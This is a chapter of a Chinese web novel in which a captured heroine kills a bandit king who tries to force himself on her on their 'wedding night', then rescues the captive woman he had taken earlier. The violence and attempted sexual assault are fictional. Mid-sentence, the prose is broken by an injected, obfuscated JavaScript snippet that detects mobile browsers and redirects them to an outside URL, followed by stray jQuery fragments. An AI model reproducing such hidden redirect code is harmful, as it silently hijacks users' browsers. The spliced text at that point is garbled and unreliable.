39. 二入洞房

作品:《报应敲门她照睡

    对方人数众多,硬拼绝对无济于事,反而容易激怒他们。


    迟露晞主意已定,遂与来者假意过招两下,便告败被俘。


    她虽然毫发无伤,但是可恨时间宝贵,竟误在这等山匪身上。


    “谢承暄……”


    领头的听她忽然出声,扭头看来。


    她摆头不再多想,预备上山之后,便借着树丛纷繁复杂,找机会脱身。


    后头一壮汉将她两手缚得极紧,见她安分温顺,便放心与旁人闲谈。


    “上次抓来那姑娘,已做了压寨夫人。如今这位更是看得我浑身冒火,您说,大王会不会赏给我?”


    “呸!论年头,排资历,我也在你前面!”那壮汉骂道。


    旁边那喽啰连忙赔笑,只是偷瞄着迟露晞背影吞口水。


    迟露晞满头黑线,想娶她,也要看看有没有这个命。


    不一会儿,迟露晞便被送到大王面前。


    那壮汉上前报道:“小的在山下劫了一女子上山,见此女颇有姿色,特来献于大王!”


    那大王细看迟露晞容貌,果然色心大起。有喽啰在一旁叫道:“大王新婚不过几月,何不把此女赏给兄弟们?”


    大王骂道:“我尚且在此,小儿焉敢觊觎?莫不如把压寨夫人一并赏你!”


    大王本来还有些犹豫,如今经此喽啰挑逗,更是定了纳妾之心,当即便将那喽啰拉出屋外斩首。


    迟露晞见那大王生得粗犷,胡子拉碴,并不比那张猪肚好到哪去,但仍不动声色,任他乱看。


    他轻声笑道:“你若早来,我定立你为正妻。”


    迟露晞眨眨眼睛,“大王只会说此虚言,若真爱我,至于如此防备,将我双手缚住?”


    他笑嘻嘻地将迟露晞扶起,又道:“谁料美人如此英勇,自古是美人配英雄,我岂不得做好准备?今晚洞房之后,便再无此失礼之举,这定风山上,不,就是这冀州地界,所有人都要敬你三分。”


    “大王既知美人配英雄,那莫非连这点魄力也拿不出来?我不过是个小女子,还这般提防,那大王还如何镇守此山,又如何征服下面的兄弟?”


    迟露晞故作娇嗔,见他犹豫,遂小步移至后寨,入帘之时还要回眸渡送秋波。


    那大王早已难以自持,连忙吩咐喽啰准备花烛香案,并大摆酒席。


    良久,大王特地赶来后寨,请迟露晞出外拜堂。那大王见她神色放松,比刚刚堂下微怒更显动人,遂□□上身,直扑上来,“既然你早晚得是我的人,何必又要等到拜堂,如今便在此处,可好?”


    迟露晞忙闪身一旁,劝道:“大王方才说要扶我为正,连这点仪式尚不做足,还说不是虚言?”


    “美人儿,你容我这一回,别说正妻之位,命给你都无妨。”他换个方向,依旧扑来。


    迟露晞闻言一笑。


    那你可记住这句话。


    她手上的绳子还未解开,只好连连相躲。恰有两个喽啰禀报道:“启禀大王,堂内花烛香案皆备齐,请大王与夫人拜堂成亲!”


    大王听后,热火大减,当即开门请迟露晞一同出去。


    “大王,我这双手捆着,如何行合卺之礼?”


    “无妨无妨,这次本王先替你喝了,等明日再补。”


    这老狗贼,警惕心那么强。


    迟露晞按下不表,假意与他行了礼,便被喽啰半请半推地送入了洞房。外间依旧是灯火喧嚷,那老狗贼还在外面喝酒。


    不过多时,他便醉醺醺地掀帘而入,一股浓烈的酒气扑面而来,他满口浑话,目光黏腻地落在她身上,伸臂便要搂抱。


    这狗贼,出去喝酒也提前离席,就这么馋她身子?


    迟露晞连忙闪开,他笑道:“美人儿,别闹……”


    迟露晞只是静静望着他,再等一会儿,再等一会儿。


    那狗贼脚步依然虚浮,在这房中晃晃悠悠,可却仍然带有几分狡猾。谁想他看似往左,身子却突然一转,往右扑来,一把将她扑倒在床。


    他满面酒红,涨得像蒸熟了的猪肝,粗重的呼吸就要喷在她脸上,那肥厚的唇角还挂着涎水。


    迟露晞皱起眉头,他仍是憨笑着,俯身要亲,她立刻偏头一躲。


    还差一点,还差一点。


    就差一点。


    一点了。


    一点。


    迟露晞一把将膝盖往上猛顶,那老狗贼中心不稳往前翻去。


    老狗贼粗喘着气,怒目圆睁,骂道:“你这臭娘们——”


    就在那时,迟露晞手下束缚恰好挣开,她眉头微蹙,当即翻转手腕,将手中匕首深深刺入他胸前。


    迟露晞猛发力气,借着他身体的重力,不断发狠往那横肉中绞刺。


    见他终于脱力,她侧身一躲,那坨肥肉便混着鲜血撞落在床,荡起一阵浪儿,溅了她一脸血。


    拜堂之前她便在磨绳子,谁知还没脱手,这狗贼就忍不住了。她心知一会儿拜完堂后,此人或许也会提前离席。


    既然如此,她就只能冒险把靴筒里的匕首勾出来。


    她双手缚着,难以舞动,只得将脚高高抬起,几乎要仰天作一个竖叉。可知她刚刚为防止匕首露馅,将其插得极深,如今竟然还掉不出来。


    她一时急得满头大汗,却听得屋外声音越来越近,索性将腿收回,下腰去探,扭了个怪异的姿势,总算拿到了匕首。


    那狗贼进来之时,刀刃刚好出鞘。


    此刻她躺在那血水横流的床上,胸腔几番起伏。


    可笑她二入洞房,竟还是闺中少女,还真是片叶不沾身啊。


    一阵恶战,她脑中还有几分晕眩,本欲在床上休息一下,便见那狗贼的血又流了过来。


    她不禁浑身泛起恶心,从床上腾地弹起,谁知恰好撞上一双浑圆的眼睛。


    迟露晞心中猛惊,立时做出防御的架势,放言道:“谁在那!”


    床帐对面的柜子响了响,迟露晞小心翼翼地走过去,将那柜门蓦地打开,一道倩影突然从中摔倒在地上,砰得一声,将她疼得大叫一声。


    迟露晞将她翻过来,见她已是涕泗横流。


    此女生得年轻俏丽,还盘着发髻,更兼衣着颇于这山大王有些相似,迟露晞眉毛轻轻一跳。


    这是那老狗贼的压寨夫人?


    她匕首一扬,正想擦刀,那女子登时就晕死过去。


    迟露晞缩缩下巴。


    自己就这么吓人?


    她记起小摊大娘说过的话,这或许就是那个被掳走的姑娘。


    若她刚刚一直呆在这衣柜里,便是目睹了全过程。


    小家碧玉的姑娘,见了这等血腥场面,又兼柜子窒闷,晕了过去,倒也正常。


    良久,那女子昏昏转醒,迟露晞已将身上的血迹清理干净。


    她一时怔在原地,反复端详自己的身子,仿佛是惊叹自己居然没死。转而,她就发现迟露晞还在场,不由得倒吸了口气,立马跪俯在地,泣道:“感谢大侠不杀之


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362864|196852||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    恩!”


    “起来说话。”


    那女孩站起身来,自陈姓名,叫徐复欢,几个月前被掳到山上,做了压寨夫人。


    “你为什么躲在柜子里?”


    徐复欢登时羞赧起来,扭过头去,恨道:“都是这浑人逼迫的……”


    迟露晞咂咂舌,往那狗贼身上又踹了一脚,踹翻起一股肉浪。


    老狗贼,挺会玩啊。


    她见徐复欢娇小,看上去跟许玲白差不多的年纪,本就心生怜惜,如今又听闻此事,心中更是愤懑。


    这老狗贼有此奇怪癖好,定是会常常欺辱她了!


    徐复欢忙道:“求大侠带我一块走吧!此恩复欢必当永生铭记在心,来日涌泉相报!”


    带她走?


    可是迟露晞的前路是与朝廷作对,生死难料,徐复欢留在她身边,未必比留在山上要更安全。


    她犹豫了。


    徐复欢哭喊哀求:“他死了,我定然也活不下去,他那群兄弟全是虎豹豺狼,定会把我生吞活剥了的!”


    徐复欢见她一脸黑沉,心中忐忑无比,又一想到渺茫的未来,便恨不能立刻去死。


    可是她害怕,要是她敢于去死,几个月前她便一头撞死了。


    她敏感地蜷缩着,看见来人伸出一双有力的手。


    “你愿意跟我回去吗?”


    徐复欢愣了半秒,随即揪着她的手哭起来。


    迟露晞见她哭得崩溃伤心,一时也愣在原地,不免蹲下安慰道:“可是害怕了?乖啊,虽然跟着我亦不安稳,甚至可以说是凶险。你若想家,等事情结束后,我便把你送回冀州。”


    “不,不……”她抽泣道,“我还有何颜面再回家,姑娘既然不嫌弃我,便带我走吧,做牛做马我也愿意。”


    “怎么没有颜面,你依然是家人的掌上明珠啊。”


    “清白不在,岂不被街坊邻居骂死。”


    这狗贼……


    迟露晞深知封建社会的贞洁桎梏,只得用她能接受的方式劝解道:“他好歹是摆了香案,洞房花烛下娶了你的,怎么就算丢了清白?而且他又是强掳你而来,你便是心不甘情不愿,是受害之人,当然也不用为他守寡。那以后便是无担一身轻了,这样还不好?”


    徐复欢听了动心,然而还是有些迟疑。


    “你就当是吃猪肉噎伤了,日后好好养伤,嗯?”


    徐复欢扑哧一笑,抱着她手臂道:“我,可以在你身边养伤吗?”


    迟露晞点点头,报以一个温柔的笑。


    帘外酒席声音渐小,人群似乎逐渐散了,迟露晞正欲带人离开,却听得门外一个喽啰笑道:“大王,我等来贺您新婚咧!您这会儿可还方便咯?”


    迟露晞听得屋外那人油嘴滑舌,浑身刺挠,徐复欢早已羞红了脸,愤恨道:“那次洞房也是,他喜欢喊人中途进来……”


    这狗贼!


    迟露晞四周环望,见后面有一小窗,便抱着徐复欢从那翻出去。


    两人紧赶慢赶,却因这山中树丛繁多,天又黑沉,一时踏到了块怪石,或者险些跌下山崖等,意外不断,却怎么都找不见出路。


    不多久,后头马蹄声接续而来,迟露晞转头见许多火把在林中燃起,一眼望去,像座会发光的邪山。


    她将徐复欢挡在身后,右手掣出匕首,于下颌一挑,鞘落刃出,刀锋直指来敌。


    那小喽啰快步追近,迟露晞正欲抬手,却见他扑腾一下,直挺挺地跪俯在她身前。